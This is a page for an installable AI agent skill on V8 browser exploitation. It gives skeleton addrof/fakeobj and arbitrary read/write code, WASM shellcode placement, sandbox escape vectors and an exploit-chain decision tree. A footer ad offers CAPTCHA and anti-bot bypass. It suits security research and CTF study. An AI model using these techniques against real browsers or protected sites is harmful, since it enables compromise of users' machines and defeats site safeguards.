browser-exploitation-v8

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill browser-exploitation-v8
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source

    ↓ Parser

  AST (Abstract Syntax Tree)

    ↓ Ignition

  Bytecode (interpreted, profiling)

    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)

  Baseline code (fast startup)

    ↓ Maglev (mid-tier, V8 ≥ 10.2)

  Mid-optimized code

    ↓ TurboFan (optimizing JIT)

  Optimized machine code (with speculative optimizations)

    ↓ Deoptimization (if speculation fails)

  Back to Ignition bytecode

Key V8 Concepts

Concept

Description

Tagged pointers

SMI (Small Integer): value << 1, HeapObject: ptr | 1

Pointer compression

V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)

Maps (Hidden Classes)

Define object shape: property names, types, offsets

Elements kinds

Internal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.

Write barrier

GC bookkeeping when heap pointers are written

Garbage collection

Orinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):

  +0x00: Map pointer (compressed, 32-bit offset)

  +0x04: Properties/Hash

  +0x08: Elements pointer (compressed)

  +0x0C: Length (for arrays)

  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug Class

Description

Example

JIT Type Confusion

TurboFan assumes wrong type after optimization

Speculative type guard eliminated, wrong operation applied

Incorrect Bounds Elimination

JIT removes array bounds check based on wrong range analysis

CheckBounds node eliminated → OOB access

Prototype Chain Confusion

Optimization assumes stable prototype, mutations invalidate

Prototype change after optimization → wrong property access

Turbofan Reduction Bug

Incorrect strength reduction or constant folding

Integer overflow in range analysis

Race Condition

SharedArrayBuffer + worker thread race

Type confusion via concurrent modification

Off-by-one in Builtin

Boundary error in built-in function implementation

String/Array bounds

Typer Bug

Incorrect type range computation in TurboFan

Typer says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {

    // ... vulnerable code path ...

}

// Force optimization by calling many times

for (let i = 0; i < 100000; i++) {

    vuln(arr);

}

// Or use V8 intrinsics (d8 only):

%OptimizeFunctionOnNextCall(vuln);

vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object

// Method: type confusion between object array and float array

// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:

// - Write object reference to element of object array

// - Read same element as double from confused float array

// - Float bits = compressed pointer of the object

function addrof(obj) {

    // Setup depends on specific bug

    // Typically: trigger type confusion so array reads obj ref as float

    object_array[0] = obj;

    return ftoi(confused_float_array[0]);  // float-to-int conversion

}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address

// Method: reverse of addrof — write float (raw pointer bits) to float array,

//         read from confused object array → treated as object reference

function fakeobj(addr) {

    confused_float_array[0] = itof(addr);  // int-to-float conversion

    return object_array[0];                 // now a "pointer" to addr

}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layout

let rw_array = new Float64Array(0x100);

let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store

// 3. Corrupt backing_store pointer to target address

// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {

    // Set fake array's backing_store = addr

    write_to_fake_backingstore(addr);

    return fake_float64array[0];

}

function write64(addr, value) {

    write_to_fake_backingstore(addr);

    fake_float64array[0] = value;

}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {

    // TurboFan thinks idx is always < arr.length

    // But due to bug, idx can exceed bounds

    return arr[idx];  // OOB read

}

// OOB read adjacent memory (next heap object's metadata)

// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray object

let arr2 = new Float64Array(0x10);  // target: adjacent to arr1

// OOB from arr1 can reach arr2's metadata

// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);

let view = new DataView(ab);

// If we can overwrite ab's backing_store pointer:

// ab.backing_store = target_addr

// view.getFloat64(0) → reads 8 bytes from target_addr

// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX page

let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);

let mod = new WebAssembly.Module(wasm_code);

let instance = new WebAssembly.Instance(mod);

// instance.exports.func → points to RWX page

// If we can find and write to this page:

// 1. addrof(instance) → find WASM instance object

// 2. Follow pointers: instance → jump_table_start → RWX page

// 3. Use arbitrary write to overwrite RWX page with shellcode

// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:

┌──────────────────────────────────────┐

│  V8 Sandbox Cage (4GB region)        │

│  ├── V8 Heap (JS objects)            │

│  ├── ArrayBuffer backing stores      │

│  ├── WASM memory                     │

│  └── External pointer table          │

├──────────────────────────────────────┤

│  Process memory outside cage         │

│  ├── libc, Chrome code               │

│  ├── Stack                           │

│  └── Other allocations               │

└──────────────────────────────────────┘

Sandbox Escape Vectors

Vector

Method

External pointer table

Corrupt entries in the external pointer table to reference arbitrary addresses

WASM code pointer

Overwrite WASM function entry to jump to controlled shellcode

JIT code corruption

Write to JIT code page via race condition or confused pointer

Mojo IPC (Chrome)

Exploit Chrome IPC to attack browser process from compromised renderer

Backing store seal bypass

Find type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

Stage

Target

Example

Renderer exploit

V8 / Blink DOM

Type confusion → shellcode

IPC/Mojo bug

Chrome IPC layer

Use-after-free in Mojo interface

Browser process exploit

Privileged browser process

Code execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

# V8 debugging

d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)

d8 --trace-turbo exploit.js           # Dump TurboFan IR

d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph

# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging

git clone https://chromium.googlesource.com/v8/v8.git

gclient sync

gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'

ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified

├── Bug type?

│   ├── JIT type confusion → trigger optimization, confuse array element kinds

│   ├── Bounds check elimination → OOB read/write on array

│   ├── Typer bug → incorrect range leads to OOB

│   └── Builtin bug → direct memory corruption primitive

│

├── Build primitives

│   ├── Can confuse object array ↔ float array?

│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap

│   ├── OOB on array?

│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W

│   └── Direct write primitive?

│       └── Target WASM instance or ArrayBuffer metadata

│

├── V8 sandbox enabled?

│   ├── YES (modern Chrome) →

│   │   ├── R/W limited to V8 cage (4GB)

│   │   ├── Need sandbox escape: external pointer table corruption,

│   │   │   WASM code pointer overwrite, or Mojo bug

│   │   └── Then proceed to shellcode execution

│   └── NO (older V8, CTF, d8) →

│       ├── Corrupt ArrayBuffer backing_store → absolute R/W

│       └── Overwrite WASM RWX page → shellcode

│

├── Code execution method

│   ├── WASM RWX page available? → write shellcode, call WASM func

│   ├── JIT code writable? → overwrite JIT code

│   └── ROP needed? → corrupt stack or return address

│

└── Full browser exploit chain

    ├── Stage 1: V8 bug → renderer RCE

    ├── Stage 2: Mojo IPC bug → browser process compromise

    └── Stage 3: OS-level escalation (if needed)
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card